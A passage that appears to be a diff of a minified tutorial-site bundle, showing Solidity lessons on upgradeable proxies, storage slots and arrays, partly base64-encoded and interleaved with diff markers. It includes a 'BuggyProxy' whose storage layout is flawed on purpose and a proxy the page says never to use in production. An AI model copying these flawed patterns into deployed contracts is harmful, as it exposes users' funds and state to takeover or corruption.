    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
"}],Zu=`

                Example of upgradeable proxy contract. Never use this in production.

                +`,uu=({prev:s,next:a})=>r.jsx(A,{version:Iu,title:du,description:Cu,html:Au,prev:s,next:a,codes:ju}),yu="0.8.24",mu="Upgradeable Proxy",bu="Example of upgradeable proxy",wu=[{fileName:"UpgradeableProxy.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
"}],ku=`

                Example of upgradeable proxy contract. Never use this in production.

                This example shows

                • how to use delegatecall and return data when fallback is called.
                  • @@ -3476,7 +3476,7 @@ After a minimum waiting period, the transaction can be executed.

                  StorageSlot.getAddressSlot(slot).value = _addr; } } -`,Wu=({prev:s,next:a})=>r.jsx(A,{version:mu,title:bu,description:wu,html:Zu,prev:s,next:a,codes:ku}),Bu="0.8.24",Gu="Write to Any Slot",Vu="Write to Any Slot",fu=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],Yu=`

                  Solidity storage is like an array of length 2^256. +`,Zu=({prev:s,next:a})=>r.jsx(A,{version:yu,title:mu,description:bu,html:ku,prev:s,next:a,codes:wu}),Wu="0.8.24",Bu="Write to Any Slot",Gu="Write to Any Slot",Vu=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],fu=`

                  Solidity storage is like an array of length 2^256. Each slot in the array can store 32 bytes.

                  Order of declaration and the type of state variables define which slots it will use.

                  However using assembly, you can write to any slot.

                  @@ -3516,7 +3516,7 @@ Each slot in the array can store 32 bytes.

                  return data.value; } } -`,Xu=({prev:s,next:a})=>r.jsx(A,{version:Bu,title:Gu,description:Vu,html:Yu,prev:s,next:a,codes:fu}),Ru="0.8.24",vu="Array",Nu="Learn about arrays in Solidity",Hu=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKICAgIHVpbnQyNTZbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50MjU2WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50MjU2IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYSA9IG5ldyB1aW50MjU2W10oNSk7CiAgICB9Cn0K"},{fileName:"ArrayRemoveByShifting.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],Fu=`

                  Array can have a compile-time fixed size or a dynamic size.

                  +`,Yu=({prev:s,next:a})=>r.jsx(A,{version:Wu,title:Bu,description:Gu,html:fu,prev:s,next:a,codes:Vu}),Xu="0.8.24",vu="Array",Ru="Learn about arrays in Solidity",Nu=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKICAgIHVpbnQyNTZbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50MjU2WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50MjU2IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYSA9IG5ldyB1aW50MjU2W10oNSk7CiAgICB9Cn0K"},{fileName:"ArrayRemoveByShifting.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0